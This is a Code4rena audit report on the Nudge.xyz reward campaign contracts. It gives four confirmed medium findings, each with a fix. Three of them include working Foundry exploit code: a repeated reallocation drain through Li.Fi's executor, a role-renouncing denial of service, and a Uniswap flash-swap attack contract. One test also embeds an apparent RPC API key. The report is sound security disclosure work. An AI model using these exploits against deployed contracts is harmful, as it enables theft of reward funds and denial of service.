Nudge.xyz

Nudge.xyz
Findings & Analysis Report

2025-04-29

Table of contents

Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Nudge.xyz smart contract system. The audit took place from March 17 to March 24, 2025.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 4 unique vulnerabilities. Of these vulnerabilities, 0 received a risk rating in the category of HIGH severity and 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 15 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Nudge team.

Scope

The code under review can be found within the C4 Nudge.xyz repository, and is composed of 7 smart contracts written in the Solidity programming language and includes 641 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

Medium Risk Findings (4)

[M-01] Unauthorized reallocation in NudgeCampaign::handleReallocation and reward disruption vulnerability in NudgeCampaign::invalidateParticipations

Submitted by roccomania, also found by 0xN3x, 0xrex, 10ap17, 4th05, audityourcontracts, Bobai23, Breeje, BroRUok, ChainProof, crunter, cryptomoon, d3e4, dd0x7e8, falconhoof, franfran20, frndz0ne, givn, HalalAudits, heheboii, hgrano, hl_, Ikigai, immeas, Kalogerone, KannAudits, kazan, leegh, limmmmmeeee, mahdifa, merlin, moray5554, Mylifechangefast_eth, Pelz, phaseTwo, phoenixV110, Sancybars, seeques, SpicyMeatball, steadyman, t0x1c, Timeless, tusharr1411, Uddercover, VAD37, Weed0607, y4y, and zarkk01

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol#L164-L233

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol#L308-L321

Summary

The NudgeCampaign::handleReallocation function allows any attacker to manipulate reward allocations through flash loans or repeated calls with real fund via Li.Fi’s executor. This can lead to reward depletion and disruption of legitimate user rewards even after invalidating the attacker

Vulnerability Details

The vulnerability stems from two main issues:

  1. Insufficient Caller Validation: While the function checks for SWAP_CALLER_ROLE, this role is assigned to Li.Fi’s executor which can be called by anyone, effectively bypassing intended access controls.
  2. Reward Accounting Flaw: The system fails to properly reset claimable amounts when participations are invalidated, allowing attackers to:

    • Claim all allocations through flash loans
    • Perform repeated reallocations via Li.Fi’s executor
    • Cause permanent reduction of available rewards through multiple invalidations

The invalidateParticipations function only subtracts from pendingRewards but doesn’t return the fees to the claimable pool, creating a growing discrepancy in reward accounting.

Proof of Concept

Here is a test to prove this. This was run in mainnet fork. Since this will be deployed on Ethereum and other L2s in from the doc. Create a new test file and add this to the test suite src/test/NudgeCampaignAttackTest.t.sol.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import { Test, console } from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { FlashLoanAttackContract } from "./FlashLoanAttackContractTest.t.sol";
import { IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";

library LibSwap {
  struct SwapData {
    address callTo;
    address approveTo;
    address sendingAssetId;
    address receivingAssetId;
    uint256 fromAmount;
    bytes callData;
    bool requiresDeposit;
  }
}

interface ILifiExecutor is IERC20 {
  function erc20Proxy() external view returns (address);
  function swapAndExecute(
    bytes32 _transactionId,
    LibSwap.SwapData[] calldata _swapData,
    address _transferredAssetId,
    address payable _receiver,
    uint256 _amount
  )
    external
    payable;
}

contract NudgeCampaignAttackTest is Test {
  NudgeCampaign private campaign;
  address NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
  address owner;
  uint256 constant REWARD_PPQ = 2e13;
  uint256 constant INITIAL_FUNDING = 100_000e18;
  address campaignAdmin = address(14);
  address nudgeAdmin = address(15);
  address treasury = address(16);
  address operator = address(17);
  address alternativeWithdrawalAddress = address(16);
  address campaignAddress;
  uint32 holdingPeriodInSeconds = 60 * 60 * 24 * 7; // 7 days
  uint256 rewardPPQ = 2e13;
  uint256 RANDOM_UUID = 111_222_333_444_555_666_777;
  uint16 DEFAULT_FEE_BPS = 1000;
  NudgeCampaignFactory factory;
  address constant SWAP_CALLER = 0x2dfaDAB8266483beD9Fd9A292Ce56596a2D1378D; //LIFI EXECUTOR
  string constant MAINNET_RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/j7SKDcG36WqFJxaAGYTsKo6IIDFSmFhl";
  IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //rewardToken
  IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); //toToken
  ILifiExecutor constant LIFI_EXECUTOR = ILifiExecutor(0x2dfaDAB8266483beD9Fd9A292Ce56596a2D1378D);

  FlashLoanAttackContract flashLoanAttackContract;
  address attacker = makeAddr("Attacker");
  uint256[] pIDsWithOne = [1];

  function setUp() public {
    vm.createSelectFork(MAINNET_RPC_URL);

    owner = msg.sender;

    factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, SWAP_CALLER);

    campaignAddress = factory.deployCampaign(
      holdingPeriodInSeconds,
      address(DAI),
      address(WETH),
      REWARD_PPQ,
      campaignAdmin,
      0,
      alternativeWithdrawalAddress,
      RANDOM_UUID
    );
    campaign = NudgeCampaign(payable(campaignAddress));

    flashLoanAttackContract = new FlashLoanAttackContract(campaign);

    vm.deal(campaignAdmin, 10 ether);

    deal(address(WETH), campaignAdmin, 10_000_000e18);

    vm.prank(campaignAdmin);
    WETH.transfer(campaignAddress, INITIAL_FUNDING);
  }

  function deployCampaign(address DAI_, address WETH_, uint256 rewardPPQ_) internal returns (NudgeCampaign) {
    campaignAddress = factory.deployCampaign(
      holdingPeriodInSeconds, DAI_, WETH_, rewardPPQ_, campaignAdmin, 0, alternativeWithdrawalAddress, RANDOM_UUID
    );
    campaign = NudgeCampaign(payable(campaignAddress));

    return campaign;
  }

function test_attackReallocationTest() public {
    uint256 count;
      uint256 toAmount = 300_768e18;
    deal(address(DAI), attacker, toAmount);

    while (campaign.claimableRewardAmount() > 6000e18) {
      pIDsWithOne[0] = count + 1;
      bytes memory dataToCall = abi.encodeWithSelector(
        campaign.handleReallocation.selector, RANDOM_UUID, address(SWAP_CALLER), address(DAI), toAmount, ""
      );
      bytes32 transactionId = keccak256(abi.encode(DAI, block.timestamp, tx.origin));
      LibSwap.SwapData[] memory swapData = new LibSwap.SwapData[](1);
      swapData[0] =
        LibSwap.SwapData(address(campaign), address(campaign), address(DAI), address(DAI), toAmount, dataToCall, false);

      uint256 gasStart = gasleft();
      vm.startPrank(attacker);
      IERC20(DAI).approve(LIFI_EXECUTOR.erc20Proxy(), toAmount);

      LIFI_EXECUTOR.swapAndExecute(transactionId, swapData, address(DAI), payable(attacker), toAmount);
      vm.stopPrank();
      uint256 gasEnd = gasleft();
      if (count == 0) {
        console.log("Gas used per attack = ", gasStart - gasEnd);
      }

      vm.prank(operator);
      campaign.invalidateParticipations(pIDsWithOne);
      count++;
    }
 
    uint256 newClaimableReward = campaign.claimableRewardAmount();
    console.log("Final Claimable Reward:", newClaimableReward);
    console.log("Number of times attack ran", count);

  }
}

Then run with forge test --mt test_attackReallocationTest -vvv. Here is the result:

 forge test --mt test_attackReallocationTest -vvv
[⠰] Compiling...
[⠔] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 4.06s
Compiler run successful!

Ran 1 test for src/test/NudgeCampaignAttackTest.t.sol:NudgeCampaignAttackTest
[PASS] test_attackReallocationTest() (gas: 40900516)
Logs:
  Gas used per attack =  432808
  Final Claimable Reward: 5558848000000000000000
  Number of times attack ran 157

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.94s (3.72s CPU time)

Ran 1 test suite in 10.96s (10.94s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • Gas used per attack: 432808
  • Attack ran 157 times
  • Total gas: 432808 * 157 = 67950856 With the current Ethereum gas price of 0.701 gwei per gas, it’ll cost 0.701 * 67950856 gwei = 47633550.056 gwei
  • This is 0.0476 Ether (Current Ether price is $2087). 2087 * 0.0476 = $99.34
  • It cost about $99.34 in gas to launch the attack. This will be cheaper on L2, making this attack very possible.

Impact

This vulnerability allows attackers to:

  • Maliciously allocate campaign rewards through flash loans
  • Perform denial-of-service attacks on legitimate users’ rewards
  • Permanently reduce available rewards through repeated invalidations
  • Disrupt the intended economic model of the campaign system

The attack could be executed at minimal cost and would be difficult to detect until rewards are significantly depleted.

Tools Used

Foundry

Fix reward accounting:

function invalidateParticipations(uint256[] calldata pIDs) external onlyNudgeOperator {
    for (uint256 i = 0; i < pIDs.length; i++) {
        Participation storage participation = participations[pIDs[i]];

        if (participation.status != ParticipationStatus.PARTICIPATING) {
            continue;
        }

        participation.status = ParticipationStatus.INVALIDATED;
        uint256 totalReward = participation.rewardAmount + 
                            (participation.rewardAmount * feeBasisPoints / BASIS_POINTS);
        pendingRewards -= participation.rewardAmount;
        claimableRewards += totalReward; // Add to claimable pool
    }
    emit ParticipationInvalidated(pIDs);
}

raphael (Nudge.xyz) confirmed


[M-02] Anyone can DOS handleReallocation over and over

Submitted by hakunamatata, also found by 056Security, 0xkrodhan, 0xShitgem, and HaidutiSec

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol#L164-L233

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgePointsCampaigns.sol#L126-L178

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaignFactory.sol#L4

Finding description and impact

Li.Fi’s Executor contract is granted SWAP_CALLER_ROLE. The function handleReallocation is used inside the protocol to notify about user’s reallocation and can only be called by address that has SWAP_CALLER_ROLE. The intention of the protocol is to use the executor’s functions so that executor swaps assets and then calls handleReallocation inside NudgeCampaign / NudgePointsCampaign contract.

However, the Executor contract that has as a SWAP_CALLER_ROLE can be used by anyone (its functions do not have access control restrictions which is expected), anyone can call function swapAndExecute. This means that any user can call the swapAndExecute function and instruct the Executor to call arbitrary functions on other contracts.

As a result, an attacker can use the Executor to call renounceRole on the NudgeCampaignFactory contract, causing the Executor to lose its SWAP_CALLER_ROLE. This leads to DOS of every next handleReallocation call from Executor. Admin has to grantRole again to Executor contract, but user can repeat the process of renouncingRole using Executor.

Executor function that can be called is here.

Proof of Concept

In order to POC to work, we must copy and paste contracts related to Executor and ERC20Proxy (the contract used by Executor) from official Li Fi’s contract repository so that we can use Executor inside our tests.

I’ve put LiFi’s contracts inside campaign directory in new folders created by me; Errors, Helpers, Interfaces, Libraries and Periphery:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import { Test } from "forge-std/Test.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import { INudgeCampaign, IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";
import "../mocks/TestERC20.sol";
import { console } from "forge-std/console.sol";
import { Executor } from "../campaign/Periphery/Executor.sol";
import { ERC20Proxy } from "../campaign/Periphery/ERC20Proxy.sol";
import { LibSwap } from "../campaign/Libraries/LibSwap.sol";
import { TestUSDC } from "../mocks/TestUSDC.sol";

contract TestDOSReallocation is Test {
  using Math for uint256;

  NudgeCampaign private campaign;
  NudgeCampaignFactory private factory;
  TestERC20 private targetToken;
  TestERC20 private rewardToken;

  address owner = address(1);
  address alice = address(11);
  address bob = address(12);
  address campaignAdmin = address(13);
  address nudgeAdmin = address(14);
  address treasury = address(15);
  address swapCaller = address(16);
  address operator = address(17);
  address alternativeWithdrawalAddress = address(18);
  bytes32 public constant SWAP_CALLER_ROLE = keccak256("SWAP_CALLER_ROLE");
  uint16 constant DEFAULT_FEE_BPS = 1000; // 10%
  uint32 constant HOLDING_PERIOD = 7 days;
  uint256 constant REWARD_PPQ = 2e13;
  uint256 constant INITIAL_FUNDING = 100_000e18;
  uint256 constant PPQ_DENOMINATOR = 1e15;
  address constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
  address badActor = address(0xBAD);
  Executor executor;
  address executorOwner = address(19);
  ERC20Proxy erc20Proxy;

  function setUp() public {
    vm.startPrank(owner);
    //deploy erc20 proxy which is part of Li Fi protocol
    erc20Proxy = new ERC20Proxy(owner);
    vm.stopPrank();
    // Deploy tokens
    targetToken = new TestERC20("Target Token", "TT");
    rewardToken = new TestERC20("Reward Token", "RT");

    //deploy executor which is part of li fi protocol
    executor = new Executor(address(erc20Proxy), executorOwner);
    swapCaller = address(executor);
    console.log(address(executor));

    // Deploy factory with roles
    factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));

    vm.startPrank(owner);
    //set executor as authorized caller as in Li Fi protocol
    erc20Proxy.setAuthorizedCaller(address(executor), true);
    vm.stopPrank();

    // Fund test contract and approve factory
    rewardToken.mintTo(INITIAL_FUNDING, address(this));
    rewardToken.approve(address(factory), INITIAL_FUNDING);

    // Deploy and fund campaign
    campaign = NudgeCampaign(
      payable(
        factory.deployAndFundCampaign(
          HOLDING_PERIOD,
          address(targetToken),
          address(rewardToken),
          REWARD_PPQ,
          campaignAdmin,
          0, // start immediately
          alternativeWithdrawalAddress,
          INITIAL_FUNDING,
          1 // uuid
        )
      )
    );

    // Setup swapCaller
    deal(address(targetToken), swapCaller, INITIAL_FUNDING);
    vm.prank(swapCaller);
    targetToken.approve(address(campaign), type(uint256).max);
  }

  function test_DOSReallocation() public {
    vm.deal(badActor, 10 ether);
    vm.startPrank(badActor);

    //deploy test usdc contract - this can be custom contract deployed by the attacker
    TestUSDC testUsdc = new TestUSDC("A", "B");

    testUsdc.mintTo(1 ether, badActor);
    testUsdc.approve(address(executor), 1);
    testUsdc.approve(address(erc20Proxy), 1);

    bytes memory renounceRoleCallData =
      abi.encodeWithSignature("renounceRole(bytes32,address)", SWAP_CALLER_ROLE, address(executor));

    LibSwap.SwapData memory sd1 = LibSwap.SwapData(
      //callTo:
      address(factory),
      //approveTo:
      address(testUsdc),
      //sendingAssetId:
      address(testUsdc),
      //receivingAssetId:
      address(testUsdc),
      //fromAmount:
      1,
      //callData:
      renounceRoleCallData,
      //requiresDeposit:
      false
    );

    LibSwap.SwapData[] memory swapDataArray = new LibSwap.SwapData[](1);
    swapDataArray[0] = sd1;

    bytes32 transactionId = bytes32(uint256(1));
    address transferredAssetId = address(testUsdc);
    address receiver = address(badActor);
    uint256 amount = 1;
    //attacker orders executor to execute renounceRole function on factory contract, leading to loss of role for executor
    // all of the future handleReallocations will revert, unless Nudge Admin will grant SWAP_CALLER_ROLE to executor
    //but the attacker can repeat this process indefinitely 
    executor.swapAndExecute(transactionId, swapDataArray, address(testUsdc), payable(receiver), amount);
    vm.stopPrank();

    assert(!factory.hasRole(SWAP_CALLER_ROLE, address(executor)));
  }
}

Disallow Executor to renounce their role, or store executor as address and only verify that msg.sender is executor; which would make it impossible to renounce the role from the executor.

raphael (Nudge.xyz) confirmed


[M-03] All reallocate cross-chain token and rewards will be lost for the users using the account abstraction wallet

Submitted by 0xDemon, also found by Mike_Bello90

https://github.com/code-423n4/2025-03-nudgexyz/blob/88797c79ac706ed164cc1b30a8556b6073511929/src/campaign/NudgeCampaign.sol#L206

https://github.com/code-423n4/2025-03-nudgexyz/blob/88797c79ac706ed164cc1b30a8556b6073511929/src/campaign/NudgeCampaign.sol#L271-L274

https://github.com/code-423n4/2025-03-nudgexyz/blob/88797c79ac706ed164cc1b30a8556b6073511929/src/campaign/NudgePointsCampaigns.sol#L160

Finding description and impact

Users with account abstraction wallets have a different address across different chains for same account, so if user using an account abstraction wallet initiate reallocate cross-chain token, the toToken will be sent to wrong address and lost permanently.

With 6.4 million users and 100+ billion assets, there is very high risk that safe wallet users will try to initiate cross-chain reallocations and suffering a loss

In addition, there are other impacts, the user cannot claim rewards on the destination chain and the rewards for that user end up being locked forever in the NugeCampaign.sol contract because no one can’t rescue the reward token even with rescueTokens() and withdrawRewards() functions.

Proof of Concept

Based on the Nudge docs and Lifi SDK, the user flow for cross-chain reallocation is seen below:

  1. Alice connect her ethereum mainnet address on Nudge campaign website.
  2. Alice initiate cross-chain reallocation for reallocate 100 ETH from Ethereum mainnet to 200_000 USDC on Base.
  3. After LiFi performed swap, then it call handleReallocation() with these params:
function handleReallocation(
        uint256 campaignId_,
        address userAddress,
        address toToken,
        uint256 toAmount,
        bytes memory data
    ) external payable whenNotPaused {
  1. The userAddress param will be filled by the ethereum mainnet address owned by Alice.
  2. Then 200_000 USDC will be sent to that address via the _transfer() function.
_transfer(toToken, userAddress, amountReceived);

function _transfer(address token, address to, uint256 amount) internal {
        if (token == NATIVE_TOKEN) {
            (bool sent, ) = to.call{value: amount}("");
            if (!sent) revert NativeTokenTransferFailed();
        } else {
            SafeERC20.safeTransfer(IERC20(token), to, amount);
        }
    }
  1. After that, reward will be calculated and stored in the Participation struct:
participations[pID] = Participation({
            status: ParticipationStatus.PARTICIPATING,
            userAddress: userAddress,
            toAmount: amountReceived,
            rewardAmount: userRewards,
            startTimestamp: block.timestamp,
            startBlockNumber: block.number
        });
  1. Users can claim rewards by calling claimRewards() and entering the pID in the Participation struct.

Let’s breakdown how users can loss all reallocated cross-chain tokens and the rewards:

  1. Cross-chain reallocates token

It can be seen in step 5, toToken amount or in this example is 200_000 USDC will be transferred to userAddress. The main problem arises here, because as explained the abstraction wallet account has a different address across chains. Thus, the toToken amount will be transferred to the address at userAddress which may not be the address owned by Alice and Alice will lose all reallocated tokens.

And also keep in mind, on current implementation on the Nudge website, there is no option for users to enter the recipient address on the destination chain when performing cross-chain reallocations. Not even in the existing docs. This proves that the Nudge protocol is not aware of this issue.

  1. The rewards

User can claim rewards by calling claimRewards(). One of the checks in this function is whether msg.sender is the same as the userAddress in the participation struct:

// Verify that caller is the participation address
            if (participation.userAddress != msg.sender) { 
                revert UnauthorizedCaller(pIDs[i]);
            }

The main problem arises here, because as explained the abstraction wallet account has a different address across chain. This means Alice cannot claim her reward on the Base chain because the address it has on the Base chain (as msg.sender) is different from the address on ethereum mainnet chain (as participation.userAddress).

Note:

Give the user the option to pass in the address. The tokens should be transferred on the destination chain. Pass in the warning for account abstraction wallet holders to not to pass the same wallet address when initiate cross-chain reallocations.

raphael (Nudge.xyz) confirmed


[M-04] Not verifying that transaction initiator is the actual participator allows malicious user to allocate full reward as Uniswap V2 pool

Submitted by Luc1jan, also found by hgrano and t0x1c

https://github.com/code-423n4/2025-03-nudgexyz/blob/382a59c315b8a421f2acae5fd856bb9ca48a7a10/src/campaign/NudgeCampaign.sol#L164-L233

Finding description and impact

To participate in campaign, user has to call swap provider (Li.Fi) Executor::swapAndExecute function. This function performs swap required to get campaign target tokens and calls NudgeCampaign::handleReallocation. NudgeCampaign will receive and forward target tokens to userAddress and update user participation details accordingly. handleReallocation is only callable by SWAP_CALLER_ROLE which is given to Executor to make sure user swaps tokens before being able to participate.

However, user can encode NudgeCampaign::handleReallocation calldata inside Executor::swapAndExecute and set arbitrary userAddress that doesn’t have to be the same as the swap initiator address. This allows user to “gift” allocation to anyone. Protocol backend will track userAddress target tokens balance and invalidate participation if the balance drops below participation amount, so this should not be an issue.

Yet, this becomes problematic if there is an existing Uniswap V2 pool in which one of the tokens is target token. This is highly probable, since target tokens must have a DEX pool in order to be “bought” via swap provider. Malicious user could take advantage of this and create smart contract that would initiate a flash swap from the pool, borrow substantial amount of target tokens, and encode a swap call on Executor::swapAndExecute such that it forwards all tokens to the NudgeCampaign calling handleReallocation with userAddress of the Uniswap pool. NudgeCampaign would register valid participation because handleReallocation was called from Executor and monitoring system wouldn’t invalidate participation since pool has more than enough tokens to pass the balance checks. Flash swap would be successful because NudgeCampaign would send all tokens back to pool in the same transaction.

Attacker would have to buy some tokens to cover Uniswap’s 0.3% fee. This is the only cost for the attacker. Fee can be calculated using unallocated amount and PPQ (rewards factor):

(UnallocatedRewards * PPQ_DENOMINATOR / REWARD_PPQ) * 0.3%

It’s important to note here that funds can be recovered if protocol invalidates malicious participation manually. If this doesn’t happen, funds will stay locked in NudgeCampaign. More importantly, other users won’t be able to participate so whole campaign would be in Denial of Service and with good chance that nobody would even notice it, most likely being marked as success, while campaign admin basically burned rewards for no buying volume in return which is the reason campaign is created for.

Additionally, the exploit wouldn’t work with any other lending protocol because of different flash loan implementation details. Here, for flash loan to be successful pool will verify that funds are returned by checking pool balance at the end, while other protocols usually pull the borrowed funds from the borrower which in this case wouldn’t be possible since NudgeCampaign returns funds for attacker who is borrower.

Proof of Concept

Install Uniswap v2 and Li.Fi repositories (note that we are not using official Uniswap repo because of version mismatch to simplify PoC, it runs successfully on official v2-core contracts, but they require some editing to be able to compile with Solidity 0.8):

forge install lifinance/contracts --no-commit
forge install islishude/uniswapv2-solc0.8 --no-commit

Update remappings.txt:

+ v2-core/=lib/uniswapv2-solc0.8/contracts/
+ lifi/=lib/contracts/src/

Flatten the UniswapV2Factory.sol:

forge flatten lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.sol > lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.flattened.sol

Fix the version in lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.flattened.sol:

  // SPDX-License-Identifier: GPL-3.0-or-later
+ pragma solidity ^0.8.4;
- pragma solidity =0.8.4;

Edit line 166 in lib/contracts/src/Periphery/Executor.sol to simplify PoC:

- erc20Proxy.transferFrom(
-     _transferredAssetId,
-     msg.sender,
-     address(this),
-     _amount
- );
+ IERC20(_transferredAssetId).transferFrom(msg.sender, address(this), _amount);

Create Attack.sol contract in src/mocks/:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {Executor, LibSwap} from "lifi/Periphery/Executor.sol";
import {UniswapV2Pair, UniswapV2Factory} from "v2-core/UniswapV2Factory.flattened.sol";
import {IERC20, NudgeCampaign} from "../campaign/NudgeCampaign.sol";
import {console} from "forge-std/console.sol";

contract Attack {
    IERC20 public token;
    UniswapV2Pair public pair;
    NudgeCampaign public campaign;
    Executor public executor;

    constructor(address _token, address _pair, address _campaign, address _executor) {
        token = IERC20(_token);
        pair = UniswapV2Pair(_pair);
        campaign = NudgeCampaign(payable(_campaign));
        executor = Executor(payable(_executor));
    }

    function attack() public {
        // calculate required tokens take all unallocated reward tokens
        uint256 unallocatedRewards = campaign.claimableRewardAmount();
        uint256 toTokensRequired = unallocatedRewards * 1e15 / 2e13;
        bytes memory swapData = new bytes(0xff);
        pair.swap(toTokensRequired, 0, address(this), swapData);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        // encoded contract call from Executor to Campaign::handleReallocation()
        bytes memory noData = bytes("");
        bytes memory handleReallocationCall = abi.encodeWithSelector(
            NudgeCampaign.handleReallocation.selector,
            campaign.campaignId(),
            address(pair),
            address(token),
            amount0,
            noData
        );

        // swap that's passed to Executor::swapAndExecute()
        LibSwap.SwapData memory swapData = LibSwap.SwapData(
            address(campaign),       // callTo
            address(campaign),       // approveTo
            address(token),          // sendingAssetId
            address(token),          // receivingAssetId
            amount0,                 // fromAmount
            handleReallocationCall,  // callData
            false                    // requiresDeposit
        );
        
        LibSwap.SwapData[] memory swapsArr = new LibSwap.SwapData[](1);
        swapsArr[0] = swapData;

        token.approve(address(executor), type(uint256).max);

        // call the swap
        executor.swapAndExecute(
            keccak256("attackTransactionID"), 
            swapsArr, 
            address(token), 
            payable(address(pair)), 
            amount0
        );
        // pay fee to Uniswap
        token.transfer(address(pair), token.balanceOf(address(this)));
    }
}

Update test/NudgeCampaign.t.sol:

  • Add imports:

    + import {Executor, LibSwap} from "lifi/Periphery/Executor.sol";
    + import {UniswapV2Pair, UniswapV2Factory} from "v2-core/UniswapV2Factory.flattened.sol";
    + import {Attack} from "../mocks/Attack.sol";
  • Add executor state variable:

      TestERC20 toToken;
      TestERC20 rewardToken;
      NudgeCampaignFactory factory;
    + Executor executor;
  • Update setUp function:

    function setUp() public {
    +   address executorProxyErc20 = makeAddr("Executor proxy erc20");
    +   executor = new Executor(address(executorProxyErc20), owner);
    
        owner = msg.sender;
        toToken = new TestERC20("Incentivized Token", "IT");
        rewardToken = new TestERC20("Reward Token", "RT");
    +   factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));
    -   factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, swapCaller);
    
        ...
    }
  • And finally, the exploit test case:

    function test_userClaimsAllRewards() public {
        // deploy uniswap factory
        UniswapV2Factory uniswapFactory = new UniswapV2Factory(owner);
        vm.startPrank(campaignAdmin);
        // mint tokens for pool LP
        TestERC20 weth = new TestERC20("Wrapped ETH", "WETH");
        weth.faucet(100_000_000e18);
        toToken.faucet(100_000_000e18);
        // create pool (toToken, weth)
        UniswapV2Pair pair = UniswapV2Pair(uniswapFactory.createPair(address(toToken), address(weth)));
        // add liquidity 1:1 to keep it simple
        toToken.transfer(address(pair), 100_000_000e18);
        weth.transfer(address(pair), 100_000_000e18);
        pair.mint(campaignAdmin);
        vm.stopPrank();
    
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        // deploy attacker contract
        Attack attack = new Attack(address(toToken), address(pair), address(campaign), address(executor));
        // send Uniswap 0.3% fee => 15k tokens
        toToken.mintTo(15_100e18, address(attack));
    
        attack.attack();
        vm.stopPrank();
    
        // verify attack success
        uint256 unallocatedRewards = campaign.claimableRewardAmount();
        assertEq(unallocatedRewards, 0); // there are no unallocated rewards left
    
        (IBaseNudgeCampaign.ParticipationStatus status, address userAddress, uint256 amount, uint256 rewardAmount,,) = campaign.participations(1);
        assertEq(uint8(status), uint8(IBaseNudgeCampaign.ParticipationStatus.PARTICIPATING)); // participation is active
        assertEq(userAddress, address(pair)); // participator is uniswap pair contract
        assertGe(toToken.balanceOf(address(pair)), amount); // pair has enough tokens and won't get invalidated
        assertEq(rewardAmount, INITIAL_FUNDING - INITIAL_FUNDING * DEFAULT_FEE_BPS / 10_000); // attacker allocated full reward - 10% nudge fee
    }

To run:

forge test --mt test_userClaimsAllRewards

Test demonstrates that attacker can basically route borrowed tokens from flash swap through Executor and NudgeCampaign, register new participation as Uniswap V2 Pool and return these tokens, all in the same transaction. Effectively, allocating all rewards for no value provided to campaign owners and making campaign unusable, while protocol would treat it as success.

You could modify the NudgeCampaign::handleReallocation such that transaction initiator must be the actual participator:

require(userAddress == tx.origin, "participator must be transaction initiator")

Or, you could blacklist pools addresses and let monitoring system do the invalidation.

raphael (Nudge.xyz) confirmed


Low Risk and Non-Critical Issues

For this audit, 15 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by calc1f4r received the top score from the judge.

The following wardens also submitted reports: 0xshuayb, 0xWeakSheep, bigbear1229, BRONZEDISC, BUGBeast15, dd0x7e8, Ekene, holtzzx, Jatique, kazan, mitrev, rama_tavanam, teoslaf, and uba081.

[01] Missing validation for holdingPeriodInSeconds in NudgePointsCampaigns

The holdingPeriodInSeconds parameter lacks validation in both createPointsCampaign and createPointsCampaigns functions within the NudgePointsCampaigns contract, allowing privileged users to create campaigns with a zero holding period. This contradicts the core design principle of the protocol’s token holding incentive mechanism.

Vulnerability Details

In the NudgePointsCampaigns contract, the protocol validates the targetToken parameter but fails to validate whether the holdingPeriodInSeconds is greater than zero. This oversight allows administrators to create campaigns that don’t enforce any actual holding period.

The holdingPeriodInSeconds parameter represents the duration users must hold tokens to qualify for rewards, which is a fundamental mechanic of the protocol’s incentive system. A holding period of 0 seconds essentially bypasses this core requirement.

Affected functions:

  • createPointsCampaign
  • createPointsCampaigns

Impact

If holdingPeriodInSeconds is set to 0:

  1. Users would immediately qualify for rewards without actually holding tokens for any meaningful duration.
  2. This undermines the stated design goal of incentivizing token retention.
  3. Creates inconsistent behavior compared to other campaigns where holding periods are enforced.
  4. Violates user expectations and the protocol’s documentation which specifically mentions holding periods as a requirement.

While this wouldn’t directly lead to financial loss, it could be exploited to distribute rewards in a manner inconsistent with the protocol’s stated objectives and potentially allow for gaming of the reward mechanism.

Proof of Concept

In NudgePointsCampaigns.sol, the validation for the createPointsCampaign function:

function createPointsCampaign(
    uint256 campaignId,
    uint32 holdingPeriodInSeconds,
    address targetToken
) external onlyRole(NUDGE_ADMIN_ROLE) returns (Campaign memory) {
    // Validates target token but not holding period
    if (targetToken == address(0)) {
        revert InvalidTargetToken();
    }
    
    // No validation for holdingPeriodInSeconds == 0
    
    if (campaigns[campaignId].targetToken != address(0)) {
        revert CampaignAlreadyExists();
    }
    
    // Creates the campaign regardless of holdingPeriodInSeconds value
    campaigns[campaignId] = Campaign({
        targetToken: targetToken,
        totalReallocatedAmount: 0,
        holdingPeriodInSeconds: holdingPeriodInSeconds,
        pID: 0
    });
    
    emit PointsCampaignCreated(campaignId, holdingPeriodInSeconds, targetToken);
    return campaigns[campaignId];
}

Similarly, in the createPointsCampaigns function (lines 86-105), batch campaign creation has the same validation gap.

